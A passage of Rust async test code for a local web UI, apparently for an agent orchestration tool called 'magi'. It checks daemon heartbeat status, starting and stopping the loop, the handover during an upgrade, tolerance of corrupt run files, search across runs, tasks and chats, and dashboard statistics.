9629            "the error names what was not found: {}",
9630            task.body
9631        );
9632    }
9633
9634    #[tokio::test]
9635    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9636        let f = Fixture::start().await;
9637
9638        let missing = f.get("/api/health").await.json();
9639        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9640
9641        write_daemon(
9642            f.home.path(),
9643            Timestamp::now() - jiff::SignedDuration::from_secs(60),
9644        );
9645        let stale = f.get("/api/health").await.json();
9646        assert_eq!(
9647            stale["daemon"]["running"], false,
9648            "a minute without a heartbeat is a dead daemon, not a busy one"
9649        );
9650        assert!(
9651            stale["daemon"]["stale_for_secs"]
9652                .as_i64()
9653                .is_some_and(|s| s >= 55),
9654            "staleness is reported so the UI can say how long: {stale}"
9655        );
9656
9657        write_daemon(f.home.path(), Timestamp::now());
9658        let fresh = f.get("/api/health").await.json();
9659        assert_eq!(fresh["daemon"]["running"], true);
9660        assert_eq!(fresh["daemon"]["idle"], false);
9661        assert_eq!(fresh["daemon"]["pid"], 4242);
9662        assert_eq!(fresh["daemon"]["completed"], 7);
9663        assert_eq!(
9664            fresh["daemon"]["current"][0]["task"],
9665            "20260902-140501-aaaa"
9666        );
9667        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9668    }
9669
9670    #[tokio::test]
9671    async fn the_loop_is_not_running_until_something_starts_it() {
9672        let f = Fixture::start().await;
9673
9674        let view = f.get("/api/loop").await.json();
9675        assert_eq!(view["running"], false);
9676        assert_eq!(
9677            view["owned"], false,
9678            "nobody owns a loop that does not exist: {view}"
9679        );
9680        assert_eq!(view["stopping"], false);
9681        assert_eq!(view["last_error"], Value::Null);
9682        assert_eq!(view["daemon"]["running"], false);
9683        assert_eq!(
9684            view["repo"], "/repo/magi",
9685            "the repository a start would use, named before it is started"
9686        );
9687    }
9688
9689    #[tokio::test]
9690    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9691        let f = Fixture::start().await;
9692
9693        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9694        assert_eq!(res.status, 200, "{}", res.body);
9695        let view = res.json();
9696        assert_eq!(view["running"], true);
9697        assert_eq!(
9698            view["owned"], true,
9699            "the loop the UI started is the UI's own to stop: {view}"
9700        );
9701        assert_eq!(
9702            view["merge"],
9703            Value::Null,
9704            "no override was given, so each repository's own config decides"
9705        );
9706
9707        // The same object from the route a waking phone polls first. Two
9708        // surfaces disagreeing about whether anything is running is exactly
9709        // the confusion this UI exists to remove.
9710        let health = f.get("/api/health").await.json();
9711        assert_eq!(health["loop"]["running"], true, "{health}");
9712        assert_eq!(health["loop"]["owned"], true, "{health}");
9713
9714        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9715    }
9716
9717    #[tokio::test]
9718    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9719        let f = Fixture::start().await;
9720        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9721        assert_eq!(first.status, 200, "{}", first.body);
9722
9723        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9724        assert_eq!(
9725            again.status, 409,
9726            "two loops on one queue race for the same claims: {}",
9727            again.body
9728        );
9729        assert!(
9730            again.json()["error"]
9731                .as_str()
9732                .is_some_and(|e| e.contains("already running the loop")),
9733            "the refusal has to say why: {}",
9734            again.body
9735        );
9736        assert_eq!(
9737            f.get("/api/loop").await.json()["running"],
9738            true,
9739            "and the loop that was already running is untouched by it"
9740        );
9741
9742        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9743    }
9744
9745    #[tokio::test]
9746    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9747        let f = Fixture::start().await;
9748        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9749
9750        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9751        assert_eq!(
9752            res.status, 200,
9753            "the answer must not wait for the loop: a run in flight is tens of \
9754             minutes and the operator is holding a phone: {}",
9755            res.body
9756        );
9757
9758        let view = settled(&f, |v| v["running"] == false).await;
9759        assert_eq!(view["owned"], false);
9760        assert_eq!(
9761            view["stopping"], false,
9762            "a loop that has stopped is not still stopping: {view}"
9763        );
9764        assert_eq!(
9765            view["last_error"],
9766            Value::Null,
9767            "a loop that was asked to stop did not fail: {view}"
9768        );
9769
9770        // Idempotent, because the operator cannot tell a slow stop from a lost
9771        // one and will press it again.
9772        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9773        assert_eq!(twice.status, 200, "{}", twice.body);
9774    }
9775
9776    #[tokio::test]
9777    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9778        let f = Fixture::start().await;
9779        // How the operator has been doing it: a `magi serve` of their own,
9780        // heartbeat fresh, in the same home this UI reads.
9781        write_daemon(f.home.path(), Timestamp::now());
9782
9783        let view = f.get("/api/loop").await.json();
9784        assert_eq!(view["running"], false, "not in this process: {view}");
9785        assert_eq!(view["owned"], false, "and not this process's to control");
9786        assert_eq!(
9787            view["daemon"]["running"], true,
9788            "but a loop is alive somewhere, which is what the UI must say"
9789        );
9790        assert_eq!(view["daemon"]["pid"], 4242);
9791
9792        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9793            let res = f.post("/api/loop", Some(body)).await;
9794            assert_eq!(
9795                res.status, 409,
9796                "neither button may pretend to work on someone else's loop: {}",
9797                res.body
9798            );
9799            assert!(
9800                res.json()["error"]
9801                    .as_str()
9802                    .is_some_and(|e| e.contains("4242")),
9803                "the refusal has to name the process the operator must go to: {}",
9804                res.body
9805            );
9806        }
9807        assert_eq!(
9808            f.get("/api/loop").await.json()["running"],
9809            false,
9810            "and the refusal started nothing"
9811        );
9812    }
9813
9814    #[tokio::test]
9815    async fn a_stale_status_file_is_not_a_foreign_owner() {
9816        let f = Fixture::start().await;
9817        write_daemon(
9818            f.home.path(),
9819            Timestamp::now() - jiff::SignedDuration::from_secs(60),
9820        );
9821
9822        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9823        assert_eq!(
9824            res.status, 200,
9825            "a daemon killed a minute ago must not lock the loop out of its \
9826             own home for good: {}",
9827            res.body
9828        );
9829        assert_eq!(res.json()["running"], true);
9830
9831        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9832    }
9833
9834    #[tokio::test]
9835    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9836        let f = Fixture::start().await;
9837        let before = f.get("/api/health").await.json()["loop_rev"]
9838            .as_u64()
9839            .expect("a loop revision");
9840
9841        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9842
9843        let after = f.get("/api/health").await.json()["loop_rev"]
9844            .as_u64()
9845            .expect("a loop revision");
9846        assert!(
9847            after > before,
9848            "the loop is in-process state, so this counter is the only thing \
9849             that tells a second device the first one started it: {before} -> \
9850             {after}"
9851        );
9852
9853        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9854    }
9855
9856    #[tokio::test]
9857    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9858        let f = Fixture::with_loop(launch_broken).await;
9859
9860        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9861        assert_eq!(
9862            res.status, 200,
9863            "starting it is not the failure: {}",
9864            res.body
9865        );
9866
9867        let view = settled(&f, |v| v["last_error"].is_string()).await;
9868        assert_eq!(
9869            view["running"], false,
9870            "a loop that died must not read as running, or the operator has \
9871             nothing to press: {view}"
9872        );
9873        assert_eq!(view["owned"], false);
9874        assert!(
9875            view["last_error"]
9876                .as_str()
9877                .is_some_and(|e| e.contains("read-only file system")),
9878            "the phone is where a loop that died at 3am is visible: {view}"
9879        );
9880
9881        // And it can be started again: the corpse was reaped, not left to
9882        // occupy the slot.
9883        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9884        assert_eq!(again.status, 200, "{}", again.body);
9885        assert_eq!(
9886            again.json()["last_error"],
9887            Value::Null,
9888            "a fresh start does not keep showing why the last one died"
9889        );
9890    }
9891
9892    /// An upgrade parks the run in flight before it restarts, and a park waits
9893    /// for the node - up to `timeout_implement`, an hour by default. The deck
9894    /// has to answer for all of it: the operator has just been told a run is
9895    /// finishing first, and this address is the only place that says how it is
9896    /// going. It did not, once - the listener went with the `select!` arm that
9897    /// began the handover, and the phone got `Cannot reach magi: Failed to
9898    /// fetch` for the rest of the wave.
9899    ///
9900    /// The other half is the older rule: the address must be free *before* the
9901    /// successor is started, or it dies on "address already in use" with its
9902    /// stdio sent to null and the deck never comes back.
9903    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9904    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
9905        let home = TempDir::new().expect("temp home");
9906        let runs = home.path().join("runs");
9907        std::fs::create_dir_all(&runs).expect("runs dir");
9908        let ui = Ui::new(
9909            Queue::at(home.path().join("queue")),
9910            Questions::at(home.path().join("questions")),
9911            Talks::at(home.path().join("talks")),
9912            runs,
9913            home.path().to_path_buf(),
9914            PathBuf::from("/repo/magi"),
9915        )
9916        .with_worktrees_root(home.path().join("wt"))
9917        .with_launch(launch_knocking_on_the_way_out);
9918        let looping = ui.looping();
9919        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9920            .await
9921            .expect("bind loopback");
9922        let addr = listener.local_addr().expect("local addr");
9923        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
9924        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9925
9926        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
9927        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
9928
9929        // The successor's whole job, and the one thing it cannot do while this
9930        // process still holds the socket.
9931        //
9932        // One bind is not enough, and the reason is not this process's order of
9933        // operations: aborting the accept loop drops the listener, but axum
9934        // serves each accepted connection on a task of its own, and those are
9935        // not aborted. The requests above left sockets on this very address,
9936        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
9937        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
9938        // Production absorbs that in `bind_waiting`; so does this. Only
9939        // `AddrInUse` is retried, and the listener is released before the
9940        // closure returns - were the order wrong, the listener would outlive
9941        // the closure and every attempt would fail. Inferred from the bind
9942        // rules and the code; not reproduced on macOS.
9943        let bound = std::sync::Mutex::new(None);
9944        hand_over(home.path(), &looping, served, |_| {
9945            let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
9946            let attempt = loop {
9947                match std::net::TcpListener::bind(addr) {
9948                    Ok(l) => {
9949                        drop(l);
9950                        break Ok(());
9951                    }
9952                    Err(e)
9953                        if e.kind() == std::io::ErrorKind::AddrInUse
9954                            && std::time::Instant::now() < deadline =>
9955                    {
9956                        std::thread::sleep(std::time::Duration::from_millis(10));
9957                    }
9958                    Err(e) => break Err(e.to_string()),
9959                }
9960            };
9961            *bound.lock().expect("bound") = Some(attempt);
9962            Ok(())
9963        })
9964        .await
9965        .expect("hand over");
9966
9967        assert_eq!(
9968            *PARK_HEARD.lock().expect("park heard"),
9969            Some(200),
9970            "the deck must answer while the loop is parking"
9971        );
9972        let attempt = bound
9973            .lock()
9974            .expect("bound")
9975            .take()
9976            .expect("the successor was started");
9977        assert!(
9978            attempt.is_ok(),
9979            "and the address must be free by the time it is: {attempt:?}"
9980        );
9981    }
9982
9983    #[tokio::test]
9984    async fn a_newer_daemon_status_file_still_renders() {
9985        let f = Fixture::start().await;
9986        // A field this build has never heard of must not turn the status line
9987        // into a 500; that is the whole reason the reader is permissive.
9988        std::fs::write(
9989            f.home.path().join("daemon.json"),
9990            serde_json::json!({
9991                "schema": 2,
9992                "updated_at": Timestamp::now().to_string(),
9993                "idle": true,
9994                "surprise": { "nested": [1, 2, 3] },
9995            })
9996            .to_string(),
9997        )
9998        .expect("write daemon.json");
9999
10000        let health = f.get("/api/health").await;
10001
10002        assert_eq!(health.status, 200);
10003        assert_eq!(health.json()["daemon"]["running"], true);
10004    }
10005
10006    #[tokio::test]
10007    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10008        let f = Fixture::start().await;
10009        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10010        let broken = f.runs().join("20260902-140502-bad");
10011        std::fs::create_dir_all(&broken).expect("run dir");
10012        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10013
10014        let list = f.get("/api/runs").await;
10015        let detail = f.get("/api/runs/20260902-140502-bad").await;
10016
10017        assert_eq!(list.status, 200);
10018        let listed = list.json();
10019        let ids: Vec<&str> = listed
10020            .as_array()
10021            .expect("an array")
10022            .iter()
10023            .map(|r| r["id"].as_str().expect("an id"))
10024            .collect();
10025        assert_eq!(
10026            ids,
10027            vec!["20260902-140501-good"],
10028            "one unreadable run must not cost the operator the whole history"
10029        );
10030        assert_eq!(detail.status, 500);
10031        assert!(
10032            detail.json()["error"]
10033                .as_str()
10034                .is_some_and(|e| e.contains("run.json")),
10035            "the failure names the file to look at: {}",
10036            detail.body
10037        );
10038        // A skipped run has to be countable somewhere, or the UI shows an
10039        // empty history with nothing to explain it - which is exactly what a
10040        // directory full of older-schema runs looks like.
10041        let health = f.get("/api/health").await;
10042        assert_eq!(health.json()["runs_unreadable"], 1);
10043    }
10044
10045    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
10046    #[tokio::test]
10047    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10048        let f = Fixture::start().await;
10049        let runs = f.runs();
10050        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10051        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10052        // Text three levels down, in a shape no current RunState has: an older
10053        // schema must still search.
10054        let path = runs.join("20260902-140502-bbbb").join("run.json");
10055        let mut v: serde_json::Value =
10056            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10057        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10058        std::fs::write(&path, v.to_string()).unwrap();
10059        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10060        std::fs::write(
10061            runs.join("20260902-140503-cccc").join("run.json"),
10062            "{ not json",
10063        )
10064        .unwrap();
10065
10066        let res = f.get("/api/search?scope=runs&q=quokka").await;
10067        assert_eq!(res.status, 200, "{}", res.body);
10068        let v = res.json();
10069        assert_eq!(v["total"], 1, "{v}");
10070        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10071        assert_eq!(v["hits"][0]["field"], "text");
10072        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10073        let parts = v["hits"][0]["snippet"].as_array().unwrap();
10074        assert!(
10075            parts
10076                .iter()
10077                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10078            "{v}"
10079        );
10080        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10081        assert_eq!(
10082            flat, "The Quokka leaks across threads",
10083            "whitespace is collapsed"
10084        );
10085
10086        // Terms are ANDed, across different fields, case-insensitively.
10087        let both = f
10088            .get("/api/search?scope=runs&q=MOBILE%20quokka")
10089            .await
10090            .json();
10091        assert_eq!(both["total"], 1, "{both}");
10092        let neither = f
10093            .get("/api/search?scope=runs&q=quokka%20zebra")
10094            .await
10095            .json();
10096        assert_eq!(neither["total"], 0, "{neither}");
10097        // Everything in the task statement is reachable, not only the row text.
10098        let stmt = f
10099            .get("/api/search?scope=runs&q=mobile%20first")
10100            .await
10101            .json();
10102        assert_eq!(stmt["total"], 2, "{stmt}");
10103        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10104        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10105    }
10106
10107    #[test]
10108    fn snippet_ignores_terms_longer_than_the_field() {
10109        let terms = ["ok".to_owned(), "elephant".to_owned()];
10110        let parts = snippet_of("ok", &terms);
10111        assert_eq!(
10112            parts,
10113            vec![SnippetPart {
10114                text: "ok".to_owned(),
10115                hit: true
10116            }]
10117        );
10118    }
10119
10120    #[test]
10121    fn snippet_marks_matches_longer_than_the_window() {
10122        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10123        let hit_len = |parts: &[SnippetPart]| -> usize {
10124            parts
10125                .iter()
10126                .filter(|p| p.hit)
10127                .map(|p| p.text.chars().count())
10128                .sum()
10129        };
10130        let total =
10131            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10132
10133        let long = "a".repeat(120);
10134        let parts = snippet_of(&long, std::slice::from_ref(&long));
10135        assert!(hit_len(&parts) > 0, "{parts:?}");
10136        assert!(total(&parts) <= cap);
10137
10138        let ja = "あ".repeat(130);
10139        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10140        assert!(hit_len(&parts) > 0, "{parts:?}");
10141        assert!(total(&parts) <= cap);
10142
10143        // A short hit, then one straddling the window's end.
10144        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10145        let term = format!("ab{}", "c".repeat(100));
10146        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10147        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10148        assert!(total(&parts) <= cap);
10149
10150        // Only the head matches: not highlighted.
10151        let text = format!("{}z", "a".repeat(119));
10152        let parts = snippet_of(&text, &["a".repeat(120)]);
10153        assert_eq!(hit_len(&parts), 0, "{parts:?}");
10154    }
10155
10156    #[tokio::test]
10157    async fn search_caps_hits_and_snippet_length() {
10158        let f = Fixture::start().await;
10159        let runs = f.runs();
10160        for n in 0..(SEARCH_MAX_HITS + 5) {
10161            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10162        }
10163        let v = f.get("/api/search?scope=runs&q=web").await.json();
10164        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10165        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10166        assert_eq!(v["truncated"], true);
10167        // Every listed run hit carries its list row for the page's filters.
10168        assert!(
10169            v["hits"]
10170                .as_array()
10171                .unwrap()
10172                .iter()
10173                .all(|h| h["run"]["status"] == "merged")
10174        );
10175
10176        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10177        let parts = snippet_of(&long, &["needle".to_owned()]);
10178        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10179        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10180        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10181    }
10182
10183    #[tokio::test]
10184    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10185        let f = Fixture::start().await;
10186        let queue = f.queue();
10187        let mut t = Task::new(
10188            "short title".to_owned(),
10189            "line one\nthe hidden Armadillo detail".to_owned(),
10190            PathBuf::from("/repo/magi"),
10191            Source::Agent {
10192                run: "r1".to_owned(),
10193                node: "chat".to_owned(),
10194            },
10195        );
10196        t.last_error = Some("disk full on /tmp".to_owned());
10197        queue.put(&mut t).expect("file the task");
10198
10199        for (q, want) in [
10200            ("armadillo", 1),
10201            ("disk%20FULL", 1),
10202            ("chat", 1),
10203            ("queued", 1),
10204            ("short%20nothing", 0),
10205        ] {
10206            let v = f
10207                .get(&format!("/api/search?scope=tasks&q={q}"))
10208                .await
10209                .json();
10210            assert_eq!(v["total"], want, "{q}: {v}");
10211        }
10212        for bad in [
10213            "/api/search?scope=tasks&q=",
10214            "/api/search?scope=tasks&q=%20",
10215            "/api/search?scope=chats&q=",
10216            "/api/search?scope=chats&q=%20",
10217            "/api/search?scope=nope&q=a",
10218            "/api/search?q=a",
10219        ] {
10220            assert_eq!(f.get(bad).await.status, 400, "{bad}");
10221        }
10222    }
10223
10224    /// Write one conversation file the way the store reads it back.
10225    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10226        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10227            .expect("seat value");
10228        let turns: Vec<serde_json::Value> = turns
10229            .iter()
10230            .map(|(who, body)| {
10231                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10232            })
10233            .collect();
10234        let doc = serde_json::json!({
10235            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10236            "status": status, "turns": turns,
10237            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10238            "seat": seat,
10239        });
10240        let dir = f.home.path().join("talks");
10241        std::fs::create_dir_all(&dir).expect("talks dir");
10242        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10243    }
10244
10245    #[tokio::test]
10246    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10247        let f = Fixture::start().await;
10248        write_talk(
10249            &f,
10250            "20260901-000001-aaaa",
10251            "open",
10252            &[
10253                (
10254                    "operator",
10255                    "\n  Why does the Pangolin cache expire?\nsecond line",
10256                ),
10257                ("agent", "Because the TTL is thirty seconds."),
10258            ],
10259        );
10260        write_talk(
10261            &f,
10262            "20260901-000002-bbbb",
10263            "closed",
10264            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10265        );
10266        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10267
10268        let search = |q: &'static str| {
10269            let f = &f;
10270            async move {
10271                f.get(&format!("/api/search?scope=chats&q={q}"))
10272                    .await
10273                    .json()
10274            }
10275        };
10276
10277        let v = search("PANGOLIN").await;
10278        assert_eq!(v["scope"], "chats");
10279        assert_eq!(v["total"], 1, "{v}");
10280        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10281        assert_eq!(v["hits"][0]["field"], "title");
10282        assert_eq!(v["unreadable"], 1, "{v}");
10283        let marked: Vec<&str> = v["hits"][0]["snippet"]
10284            .as_array()
10285            .unwrap()
10286            .iter()
10287            .filter(|p| p["hit"] == true)
10288            .map(|p| p["text"].as_str().unwrap())
10289            .collect();
10290        assert_eq!(marked, ["Pangolin"]);
10291
10292        // An agent turn, in a closed conversation.
10293        let v = search("zebra").await;
10294        assert_eq!(v["total"], 1, "{v}");
10295        assert_eq!(v["hits"][0]["field"], "agent");
10296        // Words may sit in different turns; all must be present.
10297        assert_eq!(search("pangolin%20thirty").await["total"], 1);
10298        assert_eq!(search("pangolin%20zebra").await["total"], 0);
10299        // Bookkeeping is not searched.
10300        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10301            assert_eq!(search(q).await["total"], 0, "{q}");
10302        }
10303        // The first line only is the title; the second line is still a turn.
10304        assert_eq!(search("second").await["hits"][0]["field"], "operator");
10305        // Open conversations are listed before closed ones.
10306        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10307
10308        let v = f.get("/api/search?scope=nope&q=a").await;
10309        assert_eq!(v.status, 400);
10310        assert!(
10311            v.body.contains("scope must be runs, tasks or chats"),
10312            "{}",
10313            v.body
10314        );
10315    }
10316
10317    #[test]
10318    fn a_question_card_links_a_task_id_to_the_task_page() {
10319        let start = APP_JS
10320            .find("function updateAskCard(")
10321            .expect("updateAskCard exists");
10322        let body = &APP_JS[start..];
10323        let body = &body[..body.find("\n}\n").expect("function end")];
10324        assert!(body.contains("question.run_is_task"));
10325        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10326        assert!(body.contains("`#/runs/${question.run}`"));
10327        assert!(body.contains("\"task\" : \"run\""));
10328    }
10329
10330    #[test]
10331    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10332        let start = APP_JS
10333            .find("function scheduleSearch(")
10334            .expect("scheduleSearch exists");
10335        let body = &APP_JS[start..];
10336        let body = &body[..body.find("\n}\n").expect("function end")];
10337        assert!(body.contains("s.seq += 1"));
10338    }
10339
10340    /// The dashboard reads every run's state itself rather than trusting a
10341    /// separately-maintained count, so an unreadable run must be counted the
10342    /// same way `/api/health` counts it - never silently dropped the way the
10343    /// CLI's own `stats::load_all` drops it.
10344    #[tokio::test]
10345    async fn stats_runs_unreadable_matches_health() {
10346        let f = Fixture::start().await;
10347        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10348        let broken = f.runs().join("20260902-140502-bad");
10349        std::fs::create_dir_all(&broken).expect("run dir");
10350        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10351
10352        let stats = f.get("/api/stats").await;
10353        let health = f.get("/api/health").await;
10354
10355        assert_eq!(stats.status, 200);
10356        assert_eq!(stats.json()["totals"]["runs"], 1);
10357        assert_eq!(stats.json()["runs_unreadable"], 1);
10358        assert_eq!(
10359            stats.json()["runs_unreadable"],
10360            health.json()["runs_unreadable"],
10361            "the dashboard and /api/health must never disagree about how many \
10362             runs could not be read"
10363        );
10364    }
10365
10366    #[tokio::test]
10367    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10368        let f = Fixture::start().await;
10369        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10370        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10371        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10372
10373        let totals = &f.get("/api/stats").await.json()["totals"];
10374        assert_eq!(totals["runs"], 3);
10375        assert_eq!(totals["merged"], 1);
10376        assert_eq!(totals["stalled"], 1);
10377        assert_eq!(totals["in_progress"], 1);
10378        // A stalled run must never read as blocked/merged/ready - it is its
10379        // own bucket, not folded into a "decided" one.
10380        assert_eq!(totals["blocked"], 0);
10381        assert_eq!(totals["ready"], 0);
10382    }
10383
10384    #[tokio::test]
10385    async fn stats_advisors_report_proposals_and_reflection() {
10386        use crate::advise::{Advice, AdvisorRecord, Reflection};
10387        use crate::verdict::Proposal;
10388
10389        let f = Fixture::start().await;
10390        let mut state = RunState::new(
10391            PathBuf::from("/repo/magi"),
10392            "main".to_owned(),
10393            "0123456789abcdef".to_owned(),
10394            "task".to_owned(),
10395            Config::default(),
10396        );
10397        state.id = "20260902-140501-a".to_owned();
10398        state.status = RunStatus::Merged;
10399        state.advice = Some(Advice {
10400            records: vec![
10401                AdvisorRecord {
10402                    seat: "advisor-1".to_owned(),
10403                    agent: "alpha".to_owned(),
10404                    proposal: Some(Proposal {
10405                        approach: "do it".to_owned(),
10406                        key_tradeoff: "speed over memory".to_owned(),
10407                        risks: Vec::new(),
10408                        touches: Vec::new(),
10409                        why_not_naive: "breaks under load".to_owned(),
10410                    }),
10411                    error: None,
10412                    duration_ms: 0,
10413                    reflection: Reflection::Strong,
10414                },
10415                AdvisorRecord {
10416                    seat: "advisor-2".to_owned(),
10417                    agent: "alpha".to_owned(),
10418                    proposal: None,
10419                    error: Some("timed out".to_owned()),
10420                    duration_ms: 0,
10421                    reflection: Reflection::Absent,
10422                },
10423            ],
10424            synthesis: Some("blended brief".to_owned()),
10425        });
10426        let dir = f.runs().join(&state.id);
10427        std::fs::create_dir_all(&dir).expect("run dir");
10428        std::fs::write(
10429            dir.join("run.json"),
10430            serde_json::to_string_pretty(&state).expect("serialize run"),
10431        )
10432        .expect("write run.json");
10433
10434        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10435        let alpha = advisors
10436            .as_array()
10437            .expect("an array")
10438            .iter()
10439            .find(|a| a["agent"] == "alpha")
10440            .expect("alpha row");
10441        assert_eq!(alpha["seated"], 2);
10442        assert_eq!(alpha["proposed"], 1);
10443        assert_eq!(alpha["absent"], 1);
10444        assert_eq!(alpha["strong"], 1);
10445        assert_eq!(alpha["faint"], 0);
10446        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10447    }
10448
10449    #[tokio::test]
10450    async fn stats_release_bumps_split_clean_from_attention() {
10451        use crate::run::ReleaseBump;
10452
10453        let f = Fixture::start().await;
10454
10455        let mut clean = RunState::new(
10456            PathBuf::from("/repo/magi"),
10457            "main".to_owned(),
10458            "0123456789abcdef".to_owned(),
10459            "task".to_owned(),
10460            Config::default(),
10461        );
10462        clean.id = "20260902-140501-a".to_owned();
10463        clean.status = RunStatus::Merged;
10464        clean.release_bump = Some(ReleaseBump {
10465            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10466            version: Some("1.0.0".to_owned()),
10467            automerge_enabled: true,
10468            merged_directly: false,
10469            local: false,
10470            problem: None,
10471            action_required: None,
10472        });
10473
10474        let mut blocked = RunState::new(
10475            PathBuf::from("/repo/magi"),
10476            "main".to_owned(),
10477            "0123456789abcdef".to_owned(),
10478            "task".to_owned(),
10479            Config::default(),
10480        );
10481        blocked.id = "20260902-140502-b".to_owned();
10482        blocked.status = RunStatus::Merged;
10483        blocked.release_bump = Some(ReleaseBump {
10484            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10485            version: Some("1.0.1".to_owned()),
10486            automerge_enabled: false,
10487            merged_directly: false,
10488            local: false,
10489            problem: Some("checks red".to_owned()),
10490            action_required: Some("look at the PR".to_owned()),
10491        });
10492
10493        for state in [&clean, &blocked] {
10494            let dir = f.runs().join(&state.id);
10495            std::fs::create_dir_all(&dir).expect("run dir");
10496            std::fs::write(
10497                dir.join("run.json"),
10498                serde_json::to_string_pretty(state).expect("serialize run"),
10499            )
10500            .expect("write run.json");
10501        }
10502
10503        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10504        assert_eq!(bumps["merged"], 2);
10505        assert_eq!(bumps["recorded"], 2);
10506        assert_eq!(bumps["pr_opened"], 2);
10507        assert_eq!(bumps["automerge_enabled"], 1);
10508        assert_eq!(bumps["needs_attention"], 1);
10509        assert_eq!(bumps["clean"], 1);
10510        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10511        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10512    }
10513
10514    #[tokio::test]
10515    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10516        let f = Fixture::start().await;
